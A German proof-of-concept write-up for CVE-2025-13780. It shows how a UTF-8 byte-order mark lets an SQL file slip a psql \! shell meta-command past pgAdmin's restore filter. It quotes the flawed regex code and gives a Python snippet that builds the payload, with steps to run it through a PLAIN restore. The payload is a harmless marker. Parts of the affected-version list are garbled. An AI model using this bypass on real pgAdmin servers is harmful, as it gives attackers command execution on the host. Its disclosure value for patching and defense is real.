
Proof of Concept für CVE-2025-13780
Der Meta-Command-Filter für PLAIN-Restores, der in pgAdmin als Teil der Behebung für Issue 9320 eingeführt wurde, erkennt Meta-Commands nicht, wenn eine SQL-Datei mit einem UTF-8-Byte-Order-Mark (EF BB BF) oder anderen speziellen Sequenzen beginnt. Der implementierte Filter verwendet die Funktion has_meta_commands(), die Rohbytes mit einem regulären Ausdruck scannt. Der Regex behandelt die Bytes nicht als ignorierbar, sodass Meta-Commands wie ! unerkannt bleiben. Wenn pgAdmin psql mit --file aufruft, entfernt psql die Bytes und führt den Befehl aus. Dies kann während eines Restore-Vorgangs zu Remote-Befehlsausführung führen.
Dieser Bypass betrifft den Patch, der in Commit 1d397395f75320ca1d4ed5e9ca721c603415e836 (https://github.com/pgadmin-org/pgadmin4/commit/1d397395f75320ca1d4ed5e9ca721c603415e836) eingeführt wurde.
Bestätigt betroffen:
63ee81202b65e1e8923eb1b917b49312a6fb7df2 (2025-11-13)Wahrscheinlich betroffen:
has_meta_commands() aus Commit 1d397395f75320ca1d4ed5e9ca721c603415e836 enthält.(\restrict) aus, daher werden Meta-Commands jetzt von psql selbst blockiert.web/pgadmin/tools/restore/__init__.py has_meta_commands()Relevanter Code (aus der gepatchten Version):
def has_meta_commands(path, chunk_size=8 * 1024 * 1024):
pattern = re.compile(br'(^|\n)[ \t]*\\')
with open(path, "rb") as f:
prev_tail = b""
while chunk := f.read(chunk_size):
data = prev_tail + chunk
if pattern.search(data):
return True
prev_tail = data[-10:]
return False
Schritt 1: Erstellen Sie eine SQL-Datei, die mit einem BOM und einem Meta-Command beginnt.
payload = b"\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran\nSELECT 1;\n"
with open("bypass_bom.sql", "wb") as f:
f.write(payload)
Schritt 2: BOM überprüfen:
xxd bypass_bom.sql | head -1
Erwartet:
ef bb bf 5c 21 ...
Schritt 3: Datei in den pgAdmin-Speicher legen:
/var/lib/pgadmin/storage/<user>/bypass_bom.sql
Schritt 4: In pgAdmin: Restore -> Format: PLAIN -> bypass_bom.sql auswählen -> Ausführen
Schritt 5: Ausführung überprüfen:
ls /tmp/bom_ran
Die Kontrolldatei ohne BOM wird korrekt blockiert.
Payload mit BOM-Präfix:
\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran
SELECT 1;
Kontroll-Payload:
\\! echo SHOULD_BE_BLOCKED
SELECT 1;